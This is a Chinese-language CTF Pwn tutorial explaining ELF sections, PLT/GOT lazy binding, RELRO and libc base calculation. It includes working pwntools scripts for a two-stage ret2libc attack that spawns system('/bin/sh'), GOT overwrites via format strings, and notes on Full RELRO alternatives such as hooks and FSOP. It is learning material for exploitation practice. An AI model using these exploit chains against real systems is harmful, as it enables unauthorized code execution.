ELF、PLT、GOT与libc
ELF、PLT、GOT与libc
本文适合
已经能让 ELF 程序崩溃,但不清楚 PLT/GOT/libc 泄露、ret2libc 和 RELRO 影响的 Pwn 入门学习者。学完你能:区分 PLT 调用入口、GOT 真实地址表和 libc 基址,并用一次函数地址泄露计算 system、/bin/sh 或改走 GOT 覆写路线
Pwn 里经常出现 ELF、PLT、GOT、libc。这些不是玄学名词,它们都和 Linux 程序如何加载、调用函数、定位地址有关。
ELF 是什么
ELF 是 Linux 上常见的可执行文件格式。一个 ELF 文件里通常有代码、数据、符号表、重定位信息和加载信息。
常见区域包括:
.text 保存机器指令。
.rodata 保存只读数据,例如字符串常量。
.data 保存已初始化的全局变量。
.bss 保存未初始化的全局变量。
.plt 和 .got 与动态链接有关。
libc 是什么
libc 是 C 标准库的实现。程序里常见的 puts、printf、read、system 等函数,很多都来自 libc。
CTF Pwn 里经常希望调用:
system("/bin/sh")但 system 的真实地址通常在 libc 被加载后才确定。
动态链接是什么
程序不一定把所有库函数代码都打包进自己。它可以在运行时加载 libc,然后调用其中函数。
这就带来一个问题:程序编译时不知道 libc 被加载到哪个地址。
PLT 和 GOT 就是为了解决“运行时再找函数地址”的机制。
PLT 是什么
PLT 可以理解为程序里调用外部函数的跳板。
当程序写了:
puts("hello");实际执行时可能先跳到 puts@plt,再由 PLT 通过 GOT 找到真正的 puts 地址。
GOT 是什么
GOT 是一张地址表。动态链接完成后,GOT 里会保存外部函数的真实地址。
如果能泄露 puts 在 GOT 中的真实地址,就可以计算 libc 基址:
libc_base = leaked_puts - puts_offset有了 libc 基址,就能计算 system 和 "/bin/sh" 的地址。
RELRO 的影响
Partial RELRO 时,部分 GOT 可能仍可写,因此有 GOT 覆盖这类思路。
Full RELRO 时,GOT 通常只读,不能简单改 GOT,需要换成返回地址、hook、堆结构或其他目标。
这也是为什么看 checksec 不是形式主义,它直接影响利用路线。
惰性绑定详解
Linux 默认使用惰性绑定(lazy binding),函数地址在第一次调用时才解析:
第一次调用 puts 的过程
1. 程序调用 puts@plt
2. PLT 第一条指令跳转到 GOT 中存储的地址
3. 第一次调用时,GOT 存的是 PLT 的下一条指令(跳转回 PLT)
4. PLT 跳转到动态链接器
5. 动态链接器解析 puts 的真实地址
6. 把真实地址写入 GOT
7. 跳转到 puts 执行
第二次调用时:
1. 程序调用 puts@plt
2. PLT 跳转到 GOT 中存储的地址
3. GOT 现在存的是 puts 的真实地址
4. 直接执行 putsPLT 指令分析
; puts@plt 的指令
push index ; 重定位索引
jmp PLT[0] ; 跳转到公共 PLT 条目
; PLT[0](公共条目)
push GOT[1] ; link_map 地址
jmp GOT[2] ; _dl_runtime_resolve 地址GOT 覆写技术
当 RELRO 为 Partial 时,GOT 表可写,可以覆写函数地址:
将 printf@GOT 改为 system
from pwn import *
p = process('./vuln')
elf = ELF('./vuln')
# 假设程序调用 printf(input)
# 如果把 printf@GOT 改成 system
# 下次调用 printf(input) 实际调用 system(input)
# 方法 1:通过栈溢出直接写入
# 需要知道 GOT 地址和 system 地址
payload = b'A' * offset
payload += p64(pop_rdi)
payload += p64(elf.got['printf'])
payload += p64(system)
# 方法 2:通过格式化字符串写入
payload = fmtstr_payload(8, {elf.got['printf']: system})
# 方法 3:通过堆利用写入
# 在堆漏洞中控制写入目标为 GOT 表项GOT 覆写的限制
# Full RELRO 时 GOT 只读
# 编译时加上 -Wl,-z,relro,-z,now 开启 Full RELRO
# 或者检查:
checksec_output = checksec('./vuln')
if checksec_output['RELRO'] == 'Full RELRO':
log.warning('GOT is read-only, cannot overwrite')Full RELRO 的影响
Full RELRO 启用后:
- 所有 GOT 在程序启动时就被解析完毕
- GOT 段被标记为只读
- 不能通过格式化字符串或栈溢出修改 GOTFull RELRO 下的替代方案:
# 1. 覆写返回地址
# 2. 覆写 .fini_array
# 3. 覆写堆上的函数指针
# 4. 覆写 __malloc_hook / __free_hook(旧版 libc)
# 5. FSOP 利用
# 6. 覆写 stdout 的 vtablePLT 指令详细分析
使用 objdump 查看 PLT:
objdump -d -j .plt ./vuln0000000000401030 <puts@plt>:
401030: ff 25 e2 2f 00 00 jmp *0x2fe2(%rip) # 404018 <puts@got.plt>
401036: 68 00 00 00 00 push $0x0
40103b: e9 e0 ff ff ff jmp 401020 <.plt>
0000000000401040 <printf@plt>:
401040: ff 25 da 2f 00 00 jmp *0x2fda(%rip) # 404020 <printf@got.plt>
401046: 68 01 00 00 00 push $0x1
40104b: e9 d0 ff ff ff jmp 401020 <.plt>分析:
1. puts@plt 先跳转到 GOT[puts] 存储的地址
2. 如果未解析,跳转回 PLT,push 索引后进入解析器
3. 解析后 GOT[puts] 存储 libc 中 puts 的真实地址完整 ret2libc 利用流程
from pwn import *
context.arch = 'amd64'
context.log_level = 'debug'
# 加载文件
elf = ELF('./vuln')
libc = ELF('./libc.so.6') # 题目提供的 libc
p = process('./vuln')
# 第一步:泄露 libc 地址
# 通过 puts 打印 puts@GOT 的内容
pop_rdi = 0x401234 # 从 ROPgadget 找到
payload1 = b'A' * 72
payload1 += p64(pop_rdi)
payload1 += p64(elf.got['puts']) # puts 的 GOT 地址
payload1 += p64(elf.plt['puts']) # 调用 puts 打印
payload1 += p64(elf.symbols['main']) # 返回 main
p.sendlineafter(b'input:', payload1)
leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
log.info(f'puts leaked: {hex(leaked)}')
# 第二步:计算 libc 基址
libc_base = leaked - libc.symbols['puts']
log.info(f'libc base: {hex(libc_base)}')
# 验证偏移正确
assert libc_base & 0xfff == 0, 'libc base not page aligned'
# 第三步:计算目标地址
system = libc_base + libc.symbols['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# 第四步:执行 system("/bin/sh")
ret = pop_rdi + 1 # 栈对齐 gadget
payload2 = b'A' * 72
payload2 += p64(ret) # 栈对齐
payload2 += p64(pop_rdi)
payload2 += p64(bin_sh)
payload2 += p64(system)
p.sendlineafter(b'input:', payload2)
p.interactive()使用 pwntools ELF 类
from pwn import *
elf = ELF('./vuln')
libc = ELF('./libc.so.6')
# 获取符号地址
puts_plt = elf.plt['puts'] # puts@plt
puts_got = elf.got['puts'] # puts@GOT
main_addr = elf.symbols['main'] # main 函数地址
# 搜索字符串
bin_sh = next(libc.search(b'/bin/sh'))
# 获取段信息
bss_addr = elf.bss() # .bss 段地址
data_addr = elf.get_section_by_name('.data').header.sh_addr
# 打印所有符号
for sym in elf.symbols:
print(f'{sym}: {hex(elf.symbols[sym])}')LibcSearcher 自动识别
# 当不知道远程 libc 版本时
from LibcSearcher import *
# 泄露了 puts 地址
leaked_puts = 0x7f1234567890
# 自动搜索匹配的 libc
libc = LibcSearcher('puts', leaked_puts & 0xfff) # 只用低 12 位
# 获取偏移
puts_offset = libc.dump('puts')
system_offset = libc.dump('system')
bin_sh_offset = libc.dump('str_bin_sh')
# 计算地址
libc_base = leaked_puts - puts_offset
system = libc_base + system_offset
bin_sh = libc_base + bin_sh_offset常见误区
- 以为
puts@plt就是 libc 里的puts。 - 泄露了函数地址却不减 offset。
- 本地 libc 和远程 libc 不一致。
- 只记 payload 模板,不理解地址从哪里来。
- 忽略 PIE,导致程序内地址也发生随机化。
一句话判断
只要 Pwn 题需要“泄露一个已知函数地址,再计算 libc 基址”,或者要判断 GOT 能不能覆写,就必须回到 ELF、PLT、GOT 与 libc 的关系。
PLT 是调用跳板,GOT 是运行时真实地址表,libc base 是所有 libc 符号计算的起点。
题目中常见信号
checksec中出现Partial RELRO或Full RELRO。- 程序导入
puts、printf、read、write等 libc 函数。 - ASLR 开启,
system、puts、/bin/sh地址每次变化。 - exploit 第一阶段要执行
puts(puts@got)。 - 格式化字符串或任意写目标是
printf@got、free@got。 - 本地能打、远程失败,怀疑 libc 版本不同。
核心概念
三句话区分:
PLT:程序内的外部函数调用入口,例如 puts@plt
GOT:保存外部函数真实地址的表,例如 puts@got
libc:真实函数代码所在共享库,例如 libc.symbols["puts"]ret2libc 的基本等式:
libc_base = leaked_puts - libc.symbols["puts"]
system = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b"/bin/sh"))RELRO 决定 GOT 是否可写:Partial RELRO 可以考虑 GOT 覆写;Full RELRO 下 GOT 只读,要改返回地址、堆目标、FILE 结构或走其他原语。
最小分析流程
file ./vuln确认 ELF 架构。checksec ./vuln记录 PIE、RELRO、NX、Canary。readelf -s ./vuln或 pwntoolsELF查看导入函数。- 选择一个已导入且会稳定输出的函数,如
puts或write。 - 构造泄露:
puts(puts@got) -> main。 - 用题目提供的 libc 计算基址;没有 libc 时再用泄露低位匹配。
- 根据 RELRO 选择二阶段:ret2libc、GOT 覆写、ORW 或 FSOP。
- 远程失败时检查 libc、ld、栈对齐和泄露解析长度。
最小验证示例
查看符号和保护:
checksec --file=./vuln
readelf -r ./vuln | rg "JUMP_SLOT|GLOB_DAT"
objdump -d -j .plt ./vuln用 pwntools 验证 PLT/GOT 地址:
from pwn import *
elf = ELF("./vuln")
print(hex(elf.plt["puts"]))
print(hex(elf.got["puts"]))泄露后验证 libc base:
leak = u64(p.recv(6).ljust(8, b"\x00"))
libc_base = leak - libc.symbols["puts"]
assert libc_base & 0xfff == 0成功标准:泄露地址形态像 libc 地址,计算出的 libc_base 页对齐,并能进一步定位 system 或 ORW syscall gadget。
常见利用 / 解题路线
路线总览:
路线一:两阶段 ret2libc
puts(puts@got) -> main -> system("/bin/sh")适合 NX 开启、可控返回地址、可二次输入的基础题。
路线二:Partial RELRO GOT 覆写
格式化字符串或任意写可以把 printf@got 改成 system,再输入 /bin/sh 触发。
关联:格式化字符串基础。
路线三:Full RELRO 替代目标
GOT 只读时,转向返回地址、.fini_array、堆函数指针、FSOP基础 或 堆基础。
路线四:远程 libc 识别
题目提供 libc 时优先本地加载;没有提供时,用多个泄露函数或低 12 bit 匹配,避免单一泄露误判。
路线五:musl / Alpine 特殊环境
看到 ld-musl 或 Alpine,不要套 glibc hook 和 main_arena 模板,转到 [musl libc利用](/ctf/Pwn/musl libc利用.html)。
常见失败原因
- 把 PLT 当泄露值:
puts@plt是程序内跳板,不是 libc 真实地址。 - 泄露长度不对:
recvline()可能截断空字节,通常用recv(6).ljust(8, b"\x00")。 - libc 不匹配:本地
/lib/.../libc.so.6与远程不同。 - PIE 未处理:程序内
pop rdi、PLT、GOT 地址也需要程序基址。 - Full RELRO 还改 GOT:写入会失败或崩溃。
- 没有返回 main:第一阶段泄露后没有第二次输入机会。
- 栈对齐错误:
system在movaps崩溃时加ret对齐。
迷你案例
题目保护:
NX enabled
No PIE
Partial RELRO
Canary disabled第一阶段:
payload = flat(
b"A" * 72,
pop_rdi,
elf.got["puts"],
elf.plt["puts"],
elf.symbols["main"],
)输出:
puts@libc = 0x7f1b2c...计算:
libc_base = leak - libc.symbols["puts"]
system = libc_base + libc.symbols["system"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))第二阶段按 ROP基础 设置 rdi = binsh,调用 system。WP 要说明:泄露参数是 puts@got,调用入口是 puts@plt,偏移来自题目对应 libc。